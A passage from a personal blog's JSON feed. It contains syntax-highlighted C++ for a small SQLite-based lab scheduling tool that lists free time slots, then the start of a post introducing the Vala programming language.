class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_open_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;management.db\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OPEN_READWRITE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t open database: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ecreate\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Opened database successfully.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_close_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t execute this sql line: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;... with the following error: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;select * from Spare_Time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003estringstream\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eerror\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t prepare statement: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_ROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// Too crap to write, because my math is taught by Cirno:-P\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Rest of the Lab are all avaliable from 8 to 20.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// Entry formula.\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system initialing...\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargc\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003estrcmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;--query\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system instructions.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Usage: lab-management [option]\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Options: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"c1\"\u003e// cout \u0026lt;\u0026lt; \u0026#34; --user Login this system as teacher.\u0026#34; \u0026lt;\u0026lt; endl;\n\u003c/span\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; --query Query the empty time in 2022-12-31.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e自行了解用途,我已经忘了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/goodbye-2022.html"},{"title":"Vala 介绍","time":"2022-12-20T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post Vala 介绍\"/\u003e\u003cp\u003e\u003ca class=\"link\" href=\"https://vala.dev/\" target=\"_blank\" rel=\"noopener\"\u003eVala\u003c/a\u003e 是由 \u003ca class=\"link\" href=\"https://www.gnome.org/\" 